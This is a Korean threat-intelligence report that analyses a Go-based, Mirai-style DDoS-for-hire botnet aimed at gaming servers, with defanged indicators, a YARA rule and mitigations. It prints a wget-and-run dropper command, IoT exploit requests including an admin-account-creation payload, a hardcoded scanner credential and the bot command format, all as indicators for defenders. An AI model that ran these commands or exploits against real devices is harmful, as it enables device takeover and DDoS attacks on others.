malware · botnet · ddos · golang · iot · honeypot · gaming · mirai

게이밍 DDoS 대여형 작전의 내부

Kinryū Labs는 이것이 공유 봇넷 빌더 킷 위에서 돌아가는 상용 게이밍 DDoS 대여형 작전이라고 높은 확신으로 판단한다. 동일한 Go 코드베이스를 서로 다른 운영자가 각자의 C2 서버와 공격 로드아웃으로 컴파일하며, 여기서 분석한 봇 군단은 셀프서비스 방식의 계정 게이트형 대여 API와 대략 28에서 32대 장치의 실시간 봇 인벤토리를 전면에 내세워 게이밍 및 음성 인프라를 겨냥한 고객 공격 주문을 발송한다. 이 작전의 원시 TCP 명령 채널은 비인증인 반면, 봇 등록은 비밀번호 인증 SSH 채널 뒤에 게이트되어 있다.

작성자 Davis Zheng·

TLP:CLEAR. 공개 승인됨. Kinryū Labs 허니팟 센서 네트워크가 포착했다. 아래 지표는 무력화되어 있다.

핵심 요약

  • 117개 아키텍처에 걸친 고유 바이너리
  • 28-32대여형 API의 활성 봇
  • 1SSH 지원 변종 (Windows PE)

이것은 IoT 웜 기능을 갖춘 Go 기반 DDoS 봇넷으로, 다중 아키텍처 드로퍼(bins.sh)를 통해 배포되고 상용 DDoS 대여 서비스로 운영된다. 봇은 원시 TCP로 명령제어 서버에 연결하여 주기적으로 STATS 하트비트를 보내고, 줄 단위로 구분된 공격 명령을 수신한다. Kinryū Labs는 이것이 실제로 작동하는 게이밍 중심 DDoS 대여형 봇넷이라고 높은 확신으로 판단한다.

두드러지는 특징은 인증의 비대칭성이다. 9111/tcp의 명령 채널은 비인증이다. TCP 연결과 명령 발송 사이에 비밀번호, 토큰, 챌린지-응답이 오가지 않는다. 봇 등록은 911/tcp의 비밀번호 인증 SSH 채널에서 별도로 추적되며, 대여형 API의 봇 카운터는 열린 명령 연결이 아니라 그 인증된 등록을 반영한다. 분석한 바이너리는 원시 TCP 채널만 사용하고 SSH 클라이언트를 담고 있지 않으므로, 등록은 별개의 로더 구성 요소가 처리한다.

이 작전은 눈에 보이는 사업으로 운영된다. 명령제어 호스트는 셀프서비스 방식의 계정 게이트형 DDoS 대여형 API를 전면에 두고, 봇 인벤토리의 실시간 개수를 공개하며, 같은 봇넷 킷으로 구축된 여러 상점 가운데 하나다. 수 시간의 모니터링 동안 이 서비스는 고객의 공격 주문을 실시간으로 발송했다.

핵심 판단
  • 명령 채널은 비인증이지만 등록은 그렇지 않다. 9111로의 원시 TCP는 인증 없이 명령을 받아들이는 반면, 대여형 API의 봇 개수는 911의 비밀번호 인증 SSH 세션을 추적한다. 실측 테스트로 9111로의 원시 TCP 연결과 911의 비인증 SSH 키 교환이 모두 봇 개수를 바꾸지 않음을 확인했다.
  • 이 봇 군단은 하나의 Go 코드베이스를 여러 방식으로 컴파일한 것이다. C2 파일 서버의 16개 파일은 7개 아키텍처에 걸친 11개의 고유 바이너리로 줄어들며, 모두 모듈 경로 Botnet/Bot과 빌드 플래그 -tags=netgo -trimpath=true를 공유한다. Windows PE는 SSH 클라이언트를 가진 유일한 변종이고, Linux와 IoT 빌드는 스캐너 익스플로잇과 드로퍼를 통해 전파된다.
  • 이 서비스는 게이밍 스트레서 시장을 겨냥한다. 기법 집합에는 FiveM, Minecraft, Discord 플러드가 포함되며, 우리가 포착한 실시간 공격 명령은 거의 전부 게이밍 및 음성 인프라를 향했다.
  • 이 프레임워크는 Go로 다시 작성된 Mirai 계열 설계다. Mirai의 구조적 패턴, 비인증 TCP 명령 채널, 텍스트로 구분된 명령, 공격마다 goroutine을 띄우는 발송 방식, 같은 익스플로잇 표적을 노리는 IoT 스캐너를 공유하며, 이를 Go로 다시 구현하면서 게이밍 시장용 기법, TLS/HTTPS 플러드, 그리고 덧붙여진 대여형 API를 얹었다.
  • 이것은 맞춤 제작된 봇넷이 아니라 공유 빌더 킷이다. 2차 드로퍼 서버는 다른 운영자의 C2와 인프라를 공유하며, 이 킷으로 구축된 봇 군단들은 모듈 경로, 스캐너, 지속성 메커니즘, 라우터 익스플로잇을 공유하는 한편 C2 주소와 공격 기법 선택에서 서로 다르다.

킷과 그 변종들

C2는 봇 군단을 제공하는 오픈 디렉터리를 호스팅한다. 16개 파일은 SHA-256 기준 11개의 고유 바이너리로 줄어들며, x86, x86-64, ARM(v5/v6/v7), ARM64, MIPS(빅엔디언·리틀엔디언)에 더해 Windows PE와 최소한의 스텁을 아우른다. 모두 Botnet/Bot Go 코드베이스를 공유하고 Go 1.26.4로 컴파일되었으며, Windows 빌드의 SSH 클라이언트를 제외하면 서드파티 임포트가 없다.

세 가지가 두드러진다:

  • Windows PE는 SSH를 지원하는 유일한 변종이다. bot.exe만이 golang.org/x/crypto/ssh를 임포트하며, Linux amd64 빌드에 대한 전체 문자열 스캔과 11개 고유 바이너리 전체에 걸친 교차 비교에서 다른 어디에서도 SSH 임포트를 찾지 못했다. Linux와 IoT 변종은 스캐너와 드로퍼를 통해 퍼진다.
  • 한 변종은 더 오래된, C2가 없는 빌드다. x866은 봇 군단의 1.26.4와 달리 Go 1.25.6으로 컴파일되었고, 가장 작은 ELF 변종이며, 눈에 보이는 C2 주소가 없다. 그 주소는 인코딩되어 있거나 런타임에 공급될 가능성이 크다. 이 변종은 Botnet/Bot 코드베이스를 공유하여 동일한 운영자와 연결된다.
  • sora.x86은 봇넷이 아니다. Mirai의 “Sora” 패밀리를 연상시키는 파일명에도 불구하고, 이것은 같은 툴체인으로 빌드된 최소한의 Go 스텁으로, 전체 사용자 코드가 sora.x86 is running을 출력하고 종료하며, C2 주소, 스캐너, 공격 기법, 자격 증명이 없다. 파일 서버에서 프로세스 감시자나 미끼 역할을 할 가능성이 가장 크다.

Windows PE의 세 차례 포착은 대략 일주일에 걸쳐 있다. 둘은 바이트 단위로 동일하고, 이후 하나는 더 작은 스트립된 리빌드이며, 그보다 더 이후의 하나는 원본과 다른, 기능을 완비한 재컴파일이다.

C2 프로토콜

명령 채널은 전송 계층 인증이 없는 원시 TCP다. 연결 순서는 선택적 설정 가져오기(GET /config.dat, 임베드된 checkcode로 검증), 지속성 루틴, 이어서 명령 포트로의 net.Dial이며, 그 다음 봇은 먼저 아무것도 쓰지 않고 명령을 읽는다.

(호스트별) SSH · :911 · 비밀번호 인증 등록됨 /stats가 집계 원시 TCP · :9111 · 인증 없음 공격 명령 + STATS 하트비트 HTTP · :9111/config.dat 설정
평가된 봇 생애주기. 등록은 인증되어 대여형 API의 봇 개수를 좌우하지만, 명령 채널은 그렇지 않다.
  • 하트비트: STATS|%d|%d|%d|%d|%s\n. 마지막 필드는 OS 또는 아키텍처(예: amd64)이며, 네 개의 정수는 각각 공격, 연결, 스캔, 감염 횟수를 보고한다.
  • 명령: 개행으로 구분되고 공백으로 분리되며, ATTACK_TYPE TARGET PORT DURATION [OPTIONS...] 형식이다. 첫 번째 필드가 기법을 선택하고 숫자 필드는 strconv.Atoi로 파싱된다.
  • 재연결: 120초 타이머가 연결 루프에 다시 진입한다.
  • 설정: 자격 증명과 설정은 config.dat에서 가져와 커스텀 다단계 XOR 암호로 디코딩된다(공백으로 초기화된 4,078바이트 버퍼에 이어, 고정된 두 키 바이트 0x240x3C로 바이트 단위 XOR). 분석 시점에 config.dat은 제공되고 있지 않았는데, 이는 운영자가 그것을 비활성화했거나 옮겼음을 시사한다.

공격 기법

봇은 폭넓은 DDoS 툴킷을 실어 나르며, 이는 함수 이름과 로그 문자열에서 목록화했다:

공격 기법

게이밍 표적: FiveMFlood, FiveMBypass, FiveMTCP, Minecraft, Discord.

레이어 7: HTTPSFlood (Starting Optimized HTTPS Flood on), Bypass, TLSFlood, TLSPlusFlood, TLSPlusBypassFlood, Priv7Flood (PRIV7 Attack finished).

레이어 4: TCPFlood, PPSFlood, PPSRawFlood, RawTCPFlood, RawACKFlood, ResetAttack.

레이어 3: UdpFlood, RawUDPFlood, UDPPPSFlood (Extreme UDP (PPS)), GbpsFlood (High GBPS), DNSFlood.

특수 / 호스팅 특화: OVHFlood (OVH 표적), GameFlood, FortAttack (Fortnite), Crash, Freez.

Linux 전용 (PE 빌드에는 없음): NtpAmp (완전한 NTP 증폭, PE는 스텁만 실어 나름), HandshakeFlood (IP 스푸핑을 동반한 원시 소켓 TCP SYN 플러드), VoultFlood (체크섬 계산을 동반한 원시 소켓 플러드).

HTTP 플러드는 하드코딩된 열두 개의 브라우저 User-Agent 문자열을 회전시키고, 평판 높은 사이트 집합(google.com, twitter.com, facebook.com, fbi.gov, reddit.com, bing.com)에서 Referer를 설정하여 정상 트래픽에 섞이고 WAF 필터링을 빠져나간다.

스캐너와 IoT 웜

스캐너는 IoT 로그인 자격 증명을 무차별 대입하고 여러 임베디드 장치 웹 스택을 익스플로잇한다. JAWS DVR/IP 카메라(GET /syscmd.htm), 라우터의 Boa 웹서버(POST /boafrm/formSysCmd, POST /boafrm/formLogin), 그리고 GoAhead 기반 장치(인증 우회 및 관리자 계정 생성을 위한 setUserLogin, 설정 추출을 위한 getSanvas)다. 침해된 장치는 wget %s -O bins.sh; chmod +x bins.sh; ./bins.sh를 실행하게 된다.

자격 증명은 나뉘어 있다. 스캐너 비밀번호 하나는 바이너리에 하드코딩되어 있으며(555111111!!, 사용자명은 아마도 555), 대량 자격 증명 목록은 런타임에 config.dat에서 가져와 XOR 디코딩된다.

지속성은 네 가지 메커니즘과 프로세스 위장을 사용한다. /etc/systemd/system/sysd.servicesystemd 유닛(daemon-reload 동반), /tmp/cron_tmp를 통한 cron 항목, rc.local(/etc/rc.local, /etc/rc.d/rc.local), 그리고 init.d(/etc/init.d/boot.local)다. 프로세스는 sysd라는 이름의 시스템 데몬으로 위장한다.

대여형 작전

명령제어 호스트는 사업처럼 배치되어 있다. 22에 운영자 SSH, 911에 Go SSH 봇 등록 채널(비밀번호 인증, 별개의 RSA-2048 키), 3333에 DDoS 대여형 HTTP API, 9111에 원시 TCP 명령 채널, 그리고 5001에 봇 군단을 다운로드용으로 호스팅하는 오픈 디렉터리 파일 서버를 노출한다.

고객 접근 비용 지불 주문 대여형 API :3333 · 계정 게이트형 명령 C2 · :9111 봇 28-32대 비인증 플러드 표적
대여형 서비스. 인증된 주문(host, method, time, port)은 비인증 채널을 거쳐 봇 인벤토리로 발송되는 하나의 명령이 된다.

셀프서비스 상점. 3333의 API는 최소한의 단일 엔드포인트 부터(booter)다. /stats는 봇 인벤토리의 실시간 개수를 반환하고, /api는 주문을 받는다. 이는 고객별 계정 자격 증명인 userpsw를, 표적 및 공격 파라미터인 host, method, time/duration, port와 함께 검증하며, 빠졌거나 인증되지 않은 것은 무엇이든 거부한다. 주문 양식은 비인증 프로빙에서도 보인다:

GET /stats
{"time":<unix>,"total":30}

GET /api
Missing parameters: user, psw, host, method, time/duration, port

GET /api?user=…&psw=…&host=…&method=…&time=…&port=…
Authentication failed

주문 양식은 봇의 명령 형식(ATTACK_TYPE TARGET PORT DURATION)에 일대일로 대응한다. 인증된 API 요청 하나가 모든 등록된 봇으로 비인증 9111 채널을 거쳐 발송되는 한 줄이 된다.

선별된 인벤토리. /stats는 모니터링 구간 동안 지속적인 교체와 함께 28에서 32대의 활성 봇을 보고했다. 그 카운터는 원시 명령 연결이 아니라 911의 비밀번호 인증 등록을 추적하므로, 검증된 인벤토리 개수다. 이것이 등록과 명령 발송을 두 채널로 나눈 운영상의 이유다. 어떤 봇이 서비스에 속하는지 결정하는 게이트 하나, 그것들을 구동하는 열린 채널 하나다.

채굴에서 DDoS로의 전환. 2차 드로퍼 서버는 DDoS 봇 군단과 함께 비워진 miner.sh를 담고 있는데, 이는 이후 제거된 크립토마이너 구성 요소의 잔재다. 운영자는 암호화폐 채굴에서 DDoS 판매로 옮겨간 것으로 보인다.

실시간으로 관측한 주문 이행

우리는 역분석한 프로토콜을 수동 모니터로 살아 있는 C2에 대해 검증하고 서비스가 운영되는 것을 지켜보았다. C2는 대체로 유휴 상태였다. 여러 시간에 걸친 한 세션 동안 열세 개의 공격 명령을 발송했으며, 각각은 봇 군단으로 밀어 넣어진 고객 주문이었다.

주문은 거의 전부 게이밍 및 음성 인프라를 겨냥했다. 주로 사우디아라비아의 Google Cloud에 있는 FiveM(GTA V) 게임 서버였고, Cloudflare의 Discord 음성 엔드포인트와 한 쌍의 웹 서버도 있었다. 우리는 이것이 특정 고객의 분쟁에 따라 움직이는 게이밍 중심 스트레서 서비스라고 판단한다. 발송 패턴은 서비스 제공처럼 읽힌다. 제품 등급을 닮은 계층화된 공격 지속 시간(20초 탐침, 30초 표준, 60초 지속), 기법 단계 상승(표적을 시험하는 제네릭 플러드에 이어 그 표적에 대한 프로토콜 특화 기법), 짝지어진 폭발적 발송에 뒤이은 정적, 그리고 Discord 서버의 부하 분산 음성 뒤에 있는 두 IP를 모두 이중 타격하는 것이다.

공유 빌더 킷

이것은 맞춤 제작된 봇넷이 아니다. 서로 다른 운영자가 자신만의 서비스로 커스터마이즈하여 운영하는 봇넷 킷의 한 빌드다. 이 킷을 가장 뚜렷하게 보는 방법은 같은 코드베이스로 돌아가는, 우리의 이전 보고서 크로스플랫폼 Go DDoS 대여형 봇넷의 봇 군단과 나란히 놓고 비교하는 것이다:

이전 보고서이번 작전
코드베이스Botnet/Bot Go 킷동일한 Botnet/Bot Go 킷
전달Jenkins RCE + IoT 스캐너Jenkins RCE + IoT 스캐너
스캐너, 지속성, 라우터 익스플로잇공유공유
C2 주소185.226.93[.]2425.175.140[.]178
로드아웃과 시장범용 DDoS게이밍 스트레서 (FiveM, Minecraft, Discord)

이 봇 군단들은 Botnet/Bot 모듈 경로, 동일한 스캐너와 IoT 익스플로잇, 동일한 지속성 메커니즘, 동일한 드로퍼를 공유하며, 겹치는 인프라 위에서 돌아간다. 여기서의 2차 드로퍼 서버(185.226.93[.]242)가 이전 보고서의 C2다. 다른 점은 로드아웃과 시장이다. 그 다른 봇 군단은 범용 플러드 집합을 컴파일하는 반면, 여기 운영자는 게이밍 기법을 컴파일하고 대여형 주문 API를 실어 나르며, 게이밍 스트레서 시장을 정면으로 겨냥한다. 둘을 합쳐 보면 빌더 킷 경제를 가리킨다. 공유된 코드베이스가 재판매되거나 돌려쓰이고, 각 운영자가 자신만의 표적을 가진 상점을 세운다.

침해 지표

공격자 인프라는 무력화되어 있다. 해시는 정확히 그대로 재현한다.

네트워크

지표맥락
5.175.140[.]178:911/tcp봇 등록 (Go SSH, 비밀번호 인증; 대여형 API가 집계)
5.175.140[.]178:9111/tcp명령 발송 (원시 TCP, 비인증; 집계되지 않음)
5.175.140[.]178:3333/tcpDDoS 대여형 API (/stats, /api)
5.175.140[.]178:5001/tcp오픈 디렉터리 파일 서버 (봇 군단 + 드로퍼)
5.175.140[.]178:22/tcp운영자 SSH (OpenSSH 9.7p1 Ubuntu)
hxxp://5.175.140[.]178:9111/config.dat원시 TCP를 통한 설정 가져오기
hxxp://5.175.140[.]178:5001/bins.sh다중 아키텍처 드로퍼 (1차)
185.226.93[.]242:1001/tcp2차 드로퍼 (별개 운영자의 C2)
hxxp://185.226.93[.]242:1001/bins.sh, …/binns.sh드로퍼 (2차 + 오타 변형)
217.60.195[.]229표본을 전달한 출처 주소
5.175.140[.]0/24호스팅 할당

스캐너 / 전파 문자열

GET /syscmd.htm HTTP/1.1                    (JAWS DVR/IP camera RCE)
POST /boafrm/formSysCmd HTTP/1.1            (Boa router RCE)
POST /boafrm/formLogin HTTP/1.1            (Boa login)
GET /login.htm HTTP/1.1                     (router login page)
{"topicurl":"setting/setUserLogin",...}    (GoAhead auth bypass / admin-user creation)
{"topicurl":"setting/getSanvas"}           (GoAhead config extraction)
GET /config.dat HTTP/1.1                    (remote config fetch)
wget %s -O bins.sh; chmod +x bins.sh; ./bins.sh
proxy/tlsplusbypass.txt

호스트 아티팩트

Process name:  sysd
systemd:       /etc/systemd/system/sysd.service   (+ daemon-reload)
cron:          /tmp/cron_tmp
rc.local:      /etc/rc.local, /etc/rc.d/rc.local
init.d:        /etc/init.d/boot.local
Hardcoded scanner credential:  555111111!!   (likely username 555)

파일 (SHA-256), 별도 표기 없으면 Go 1.26.4

전체 파일 해시
bot.exe (Windows PE, only SSH-capable variant), captures:
  6da756970a411dade9db3c921ef4cdade550f317703d0fc12090a15d8c6778d4   (6,253,056 bytes)
  36f1b06c942271496d8a9e26bde8d5ddacea82965ea3232ea99804170c1e4e25   (4,933,632 bytes, stripped rebuild)
  4de4621f66780e1400bf3c55f146f84f6d77bbdd3a401451f3b7f16d674e3804   (6,020,608 bytes, full rebuild)

Linux amd64:   8ddad5973d0ed85ba2babe36121d16fa9307b8804206f645630b10f772010680
Linux i386/x86 (byte-identical):  d862b2589aef9611807dfe1f27c4544120dd76f029afc006038ad5b81d57086e
Linux ARM (android_arm = arm = arm7 = armv7l):   523c4096458bc3ac42e2bc92a8cf5a36b7bab1c75a2cc0e1ab3f9e5db3c33c82
Linux ARM5:    362c5394a0fa1e87929da5967ec779dcf8c7bbcbdd9417391349e9aa6c2cc4b3
Linux ARM6:    2709ce2627b6aed42166bc7cdf14f9b22855ee7a99f9eb76febb1ec9c8d22b41
Linux ARM64 (android_arm64 = arm64):  428de403a62e4e8ebc2e54af94d36e43e6b26d5e41bbc0d81b39c3e19f4b1d2a
Linux MIPS (BE):   6500fef3003e5d2d7ef6fbdbe6219e93f31082c232ce2769f206d1f425c75f21
Linux MIPS (LE):   3e02755cd326c9c724abc730a40ae0cccebfa23614fbbd566a08b71a1f5f2fdc
x866 (Go 1.25.6, no visible C2 IP):   f223bc55bad1bf9ba6ae9ba11f58b338bc00e8e0d4b50311b5b5c42a09a7c122
sora.x86 (Go stub, not a botnet):     a1a9e0a94780a05097544b62eb13db7444b29033fbe1d30a16f2d2334ec424ad
  sora.x86 SHA-1: efa32ae20b15f835b96da5ce9e83332b83cbd098
  sora.x86 MD5:   3f95cf1ed17f7e00a7be4f5cf12e0088

x86/i386, ARM7 그룹(android_arm/arm/arm7/armv7l), 그리고 android_arm64/arm64는 바이트 단위로 동일하다. arm6은 크기가 같음에도 ARM7 그룹과 다르다(GOARM 코드 생성이 다름).

호스팅

Provider:     Ryzehosting
Maintainer:   GHOSTNET-MNT
Abuse:        [email protected]
Reverse DNS:  static.178.140.175[.]5.clients.ryzehosting.com
IP allocated: 2026-03-15

탐지

문자열은 안정적이고 난독화되지 않아 시그니처가 간단하다. 아래 후보 YARA 규칙은 특징적인 문자열로 구축했으며, 배포 전에 검증하라.

rule go_gaming_ddos_bot_candidate
{
    meta:
        description = "Candidate: Go DDoS-for-hire botnet (Botnet/Bot codebase, gaming loadout)"
        author      = "Kinryu Labs honeypot CTI"
        reference   = "6da75697...78d4"  // full SHA-256 in the IOC table
        tlp         = "CLEAR"

    strings:
        $mod   = "Botnet/Bot" ascii
        $cnc1  = "Connecting to CNC" ascii
        $cnc2  = "Connected to CNC" ascii
        $stats = "STATS|" ascii
        $svc   = "/etc/systemd/system/sysd.service" ascii
        $cron  = "/tmp/cron_tmp" ascii
        $fivem = "Starting FiveM Flood on" ascii
        $cred  = "555111111!!" ascii

    condition:
        ($mod and 2 of ($cnc1, $cnc2, $stats)) or
        ($svc and $cron) or
        (2 of ($fivem, $cred, $stats))
}

추가 탐지 로직:

# STATS heartbeat on egress (regex)
STATS\|[0-9]+\|[0-9]+\|[0-9]+\|[0-9]+\|.+\n

# IoT exploit payloads (inbound)
GET /syscmd.htm HTTP/1.1
{"topicurl":"setting/setUserLogin","username":"...
{"topicurl":"setting/getSanvas"}

# Dropper execution chain
wget %s -O bins.sh; chmod +x bins.sh; ./bins.sh

대응

  • Jenkins, 그리고 그 밖의 CI/CD 및 관리자 인터페이스를 인터넷에 노출하지 말라. 이것이 전달 벡터였다.
  • JAWS, Boa, GoAhead 기반 IoT 장치를 패치하거나 분리하고, 그 관리자 인터페이스에 대한 외부 접근을 차단하라. 이것들이 스캐너의 전파 표적이다.
  • 경계에서 C2와 드로퍼 인프라를 차단하라(5.175.140[.]178185.226.93[.]242:1001 드로퍼). 그리고 config.dat 가져오기와 bins.sh 실행 체인에 경보하라.
  • 지속성 아티팩트와 sysd 프로세스 이름에 경보하고, 이그레스의 STATS| 하트비트 패턴에도 경보하라.

MITRE ATT&CK 매핑

전술기법
Initial AccessT1190 Exploit Public-Facing Application (Jenkins 전달; JAWS / Boa / GoAhead IoT 웹 스택 익스플로잇)
ExecutionT1059.004 Command and Scripting Interpreter: Unix Shell (bins.sh 드로퍼)
PersistenceT1543.002 Systemd Service (sysd.service); T1053.003 Cron; T1037.004 RC Scripts (rc.local); init.d 부팅 스크립트
Defense EvasionT1036 Masquerading (프로세스 이름 sysd; 브라우저 User-Agent 및 referer 스푸핑); T1027 Obfuscated Files or Information (XOR 인코딩된 config.dat)
Credential AccessT1110 Brute Force (IoT 장치 로그인)
DiscoveryT1046 Network Service Scanning (IoT 스캐너)
Command and ControlT1071.001 Web Protocols (config.dat); T1571 Non-Standard Port (911, 9111, 3333, 5001); T1105 Ingress Tool Transfer (다중 아키텍처 드로퍼)
ImpactT1498.001 Direct Network Flood (UDP / TCP / PPS / FiveM / Discord); T1498.002 Reflection Amplification (DNS / NTP)

방법론과 노트

  • 분석은 정적 역공학에 더해 수동적 실시간 프로토콜 검증이며, 바이너리는 결코 실행하지 않았다.
  • 지표는 무력화되어 있고 해시는 정확히 그대로 재현했다.
  • 표본은 다른 연구자와 방어자에게 요청 시 제공한다. 당신이 누구이고 무엇에 필요한지 짧게 적어 [email protected]로 메일을 보내라.
Sample
Go DDoS botnet · 6da756970a411dad…
How to cite
Kinryū Labs (2026). 게이밍 DDoS 대여형 작전의 내부. https://kinryu.sh/ko/reports/gaming-ddos-for-hire-operation/